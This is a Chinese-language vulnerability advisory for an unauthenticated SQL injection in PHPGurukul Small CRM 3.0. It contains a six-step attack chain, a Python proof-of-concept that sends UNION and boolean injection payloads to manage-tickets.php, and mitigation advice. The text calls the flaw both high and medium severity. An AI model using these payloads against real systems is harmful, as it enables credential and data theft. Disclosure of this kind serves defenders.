IPBUF安全漏洞报告
English
CVE-2024-44644 CVSS 6.5 中危

CVE-2024-44644 PHPGurukul Small CRM 3.0 SQL注入漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2024-44644
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Small CRM 3.0

相关标签

SQL注入PHPGurukul Small CRMCVE-2024-44644Web应用安全数据库漏洞无需认证管理票据功能

漏洞概述

CVE-2024-44644是PHPGurukul Small CRM 3.0版本中的一个高危SQL注入漏洞。该漏洞存在于manage-tickets.php页面中,攻击者可以通过frm_id和aremark参数注入恶意SQL语句。由于该应用在处理用户输入时未对参数进行充分的过滤和参数化查询,攻击者无需认证即可利用此漏洞获取数据库中的敏感信息,包括用户凭证、业务数据等。SQL注入攻击可能导致数据泄露、数据篡改,甚至在某些配置下实现远程代码执行。该漏洞的CVSS评分为6.5,属于中等严重程度,但由于攻击复杂度低且无需认证,仍然构成较大的安全风险。建议受影响的用户尽快采取修复措施或应用临时缓解方案。

技术细节

该SQL注入漏洞存在于PHPGurukul Small CRM 3.0的manage-tickets.php文件中,具体受影响的参数为frm_id和aremark。漏洞产生的根本原因是应用程序在构建SQL查询时直接使用了用户可控的输入参数,而没有使用参数化查询或适当的输入验证机制。攻击者可以通过在frm_id参数中构造特殊的SQL payloads来绕过前端过滤,利用UNION SELECT、布尔盲注或时间盲注等技术提取数据库中的敏感信息。常见的利用方式包括:1)使用UNION-based注入通过联合查询获取其他表的数据;2)使用Boolean-based盲注通过页面响应差异推断数据内容;3)使用Time-based盲注通过数据库延迟函数判断条件真假。由于该参数在HTTP GET/POST请求中传递,攻击者可以通过自动化工具批量探测和利用此漏洞。成功利用后,攻击者可以访问数据库中的用户表、获取管理员凭据、读取业务敏感数据等。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标系统使用的PHPGurukul Small CRM 3.0版本,确认manage-tickets.php页面存在
STEP 2
步骤2:漏洞探测
通过在frm_id和aremark参数中注入SQL特殊字符(如单引号、双引号)和逻辑判断语句,观察页面响应差异
STEP 3
步骤3:SQL注入类型判断
根据响应特征判断注入类型(Union注入、布尔盲注或时间盲注),并确定数据库类型
STEP 4
步骤4:数据库枚举
利用SQL注入漏洞枚举数据库结构,包括表名、列名、用户数量等信息
STEP 5
步骤5:数据提取
通过联合查询或盲注技术提取敏感数据,如用户表中的用户名和密码哈希值
STEP 6
步骤6:权限提升
如果获取到管理员凭据,攻击者可以登录后台管理系统,进一步扩大攻击面

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-44644 SQL Injection PoC # Target: PHPGurukul Small CRM 3.0 # Endpoint: manage-tickets.php # Vulnerable Parameters: frm_id, aremark import requests import sys target = "http://target.com/small-crm/manage-tickets.php" # Boolean-based blind SQL injection payload for frm_id parameter payloads = [ "1' AND 1=1 --", # True condition "1' AND 1=2 --", # False condition "1' UNION SELECT NULL,NULL,NULL,NULL,NULL --", # Union injection "1' AND (SELECT COUNT(*) FROM users) > 0 --", # Check if users table exists ] def test_sql_injection(): print(f"[*] Testing CVE-2024-44644 on {target}") for payload in payloads: params = {'frm_id': payload} try: response = requests.get(target, params=params, timeout=10) print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") # Check for SQL error indicators if any(err in response.text.lower() for err in ['sql', 'mysql', 'syntax', 'error']): print("[!] SQL Error detected - vulnerability confirmed!") return True except requests.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": if test_sql_injection(): print("[+] CVE-2024-44644 vulnerability detected!") else: print("[-] No vulnerability detected or target not accessible")

影响范围

PHPGurukul Small CRM 3.0

防御指南

临时缓解措施
在官方补丁发布之前,可以采取以下临时缓解措施:1)使用Web应用防火墙规则拦截包含SQL注入特征的请求;2)在代码层面临时添加输入过滤逻辑,对frm_id和aremark参数进行严格的正则验证;3)限制manage-tickets.php页面的访问权限,仅允许授权用户访问;4)监控Web服务器日志,及时发现异常的SQL注入探测行为;5)考虑部署入侵检测系统(IDS)监控数据库查询模式,及时发现数据泄露风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表